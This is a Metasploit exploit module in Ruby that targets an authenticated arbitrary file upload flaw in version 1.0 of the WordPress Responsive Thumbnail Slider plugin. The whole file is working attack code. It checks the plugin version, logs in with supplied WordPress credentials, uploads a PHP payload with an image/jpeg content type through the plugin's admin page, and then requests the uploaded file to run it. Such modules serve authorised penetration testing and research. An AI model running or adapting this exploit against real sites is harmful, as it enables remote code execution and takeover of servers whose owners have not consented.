1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::PhpEXE def initialize(info={}) super(update_info(info, 'Name' => "WordPress Responsive Thumbnail Slider Arbitrary File Upload", 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability in Responsive Thumbnail Slider Plugin v1.0 for WordPress post authentication. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Arash Khazaei', # EDB PoC 'Shelby Pace'# Metasploit Module ], 'References' => [ [ 'EDB', '37998' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Responsive Thumbnail Slider Plugin v1.0', { } ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 28 2015", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [ true, "Base path for WordPress", '/' ]), OptString.new('WPUSERNAME', [ true, "WordPress Username to authenticate with", 'admin' ]), OptString.new('WPPASSWORD', [ true, "WordPress Password to authenticate with", '' ]) ]) end def check # The version regex found in extract_and_check_version does not work for this plugin's # readme.txt, so we build a custom one. check_code = check_version || check_plugin_path if check_code return check_code else return CheckCode::Safe end end def check_version plugin_uri = normalize_uri(target_uri.path, '/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt') res = send_request_cgi( 'method'=>'GET', 'uri' =>plugin_uri ) if res && res.body && res.body =~ /Version:([\d\.]+)/ version = Gem::Version.new($1) if version <= Gem::Version.new('1.0') vprint_status("Plugin version found: #{version}") return CheckCode::Appears end end nil end def check_plugin_path plugin_uri = normalize_uri(target_uri.path, '/wp-content/uploads/wp-responsive-images-thumbnail-slider/') res = send_request_cgi( 'method'=>'GET', 'uri' =>plugin_uri ) if res && res.code == 200 vprint_status('Upload folder for wp-responsive-images-thumbnail-slider detected') return CheckCode::Detected end nil end def login auth_cookies = wordpress_login(datastore['WPUSERNAME'], datastore['WPPASSWORD']) return fail_with(Failure::NoAccess, "Unable to log into WordPress") unless auth_cookies store_valid_credential(user: datastore['WPUSERNAME'], private: datastore['WPPASSWORD'], proof: auth_cookies) print_good("Logged into WordPress with #{datastore['WPUSERNAME']}:#{datastore['WPPASSWORD']}") auth_cookies end def upload_payload(cookies) manage_uri = 'wp-admin/admin.php?page=responsive_thumbnail_slider_image_management' file_payload = get_write_exec_payload(:unlink_self => true) file_name = "#{rand_text_alpha(5)}.php" # attempt to access plugins page plugin_res = send_request_cgi( 'method'=>'GET', 'uri' =>normalize_uri(target_uri.path, manage_uri), 'cookie'=>cookies ) unless plugin_res && plugin_res.body.include?("tmpl-uploader-window") fail_with(Failure::NoAccess, "Unable to reach Responsive Thumbnail Slider Plugin Page") end data = Rex::MIME::Message.new data.add_part(file_payload, 'image/jpeg', nil, "form-data; name=\"image_name\"; filename=\"#{file_name}\"") data.add_part(file_name.split('.')[0], nil, nil, "form-data; name=\"imagetitle\"") data.add_part('Save Changes', nil, nil, "form-data; name=\"btnsave\"") post_data = data.to_s # upload the file upload_res = send_request_cgi( 'method'=>'POST', 'uri' =>normalize_uri(target_uri.path, manage_uri, '&action=addedit'), 'cookie'=>cookies, 'ctype' =>"multipart/form-data; boundary=#{data.bound}", 'data'=>post_data ) page = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, manage_uri), 'cookie' => cookies) fail_with(Failure::Unknown, "Unsure of successful upload") unless (upload_res && page && page.body =~ /New\s+image\s+added\s+successfully/) retrieve_file(page, cookies) end def retrieve_file(res, cookies) fname = res.body.scan(/slider\/(.*\.php)/).flatten[0] fail_with(Failure::BadConfig, "Couldn't find file name") if fname.empty? || fname.nil? file_uri = normalize_uri(target_uri.path, "wp-content/uploads/wp-responsive-images-thumbnail-slider/#{fname}") print_good("Successful upload") send_request_cgi( 'uri' => file_uri, 'method' => 'GET', 'cookie' => cookies ) end def exploit unless check == CheckCode::Safe auth_cookies = login upload_payload(auth_cookies) end end end |